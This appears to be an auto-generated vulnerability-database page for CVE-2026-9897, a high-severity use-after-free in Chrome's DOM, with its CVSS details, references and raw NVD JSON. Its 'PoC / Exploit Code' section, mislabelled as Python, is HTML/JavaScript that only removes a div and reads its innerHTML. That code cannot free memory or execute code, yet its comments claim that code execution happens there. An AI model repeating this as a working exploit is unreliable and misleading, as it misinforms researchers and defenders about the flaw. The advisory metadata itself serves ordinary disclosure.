CVE-2026-9897

Description

Use after free in DOM in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-9897 PoC</title>
</head>
<body>
<script>
    // This Proof of Concept demonstrates the logic triggering a UAF in DOM
    // It creates a DOM element, removes it, and attempts to access it again
    
    function exploit() {
        // Create a target DOM element
        var vulnObj = document.createElement('div');
        document.body.appendChild(vulnObj);
        
        // Step 1: Remove the element from the DOM tree (Memory Freed)
        document.body.removeChild(vulnObj);
        
        // Step 2: Attempt to trigger garbage collection or memory reuse
        // (In a real exploit, heap grooming happens here)
        var filler = new Array(1000).fill('A');
        
        // Step 3: Access the freed object (Use-After-Free)
        // This is where the crash or arbitrary code execution occurs
        try {
            alert(vulnObj.innerHTML); 
            console.log("[+] Attempted access to freed memory");
        } catch (e) {
            console.log("[-] Access failed");
        }
    }

    // Trigger the function on load
    window.onload = exploit;
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9897
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9897
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9897/
[4] VulDB https://vuldb.com/cve/CVE-2026-9897
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/496271580

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9897", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:47.703", "lastModified": "2026-05-29T12:16:28.017", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in DOM in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/496271580", "source": "[email protected]"}]}}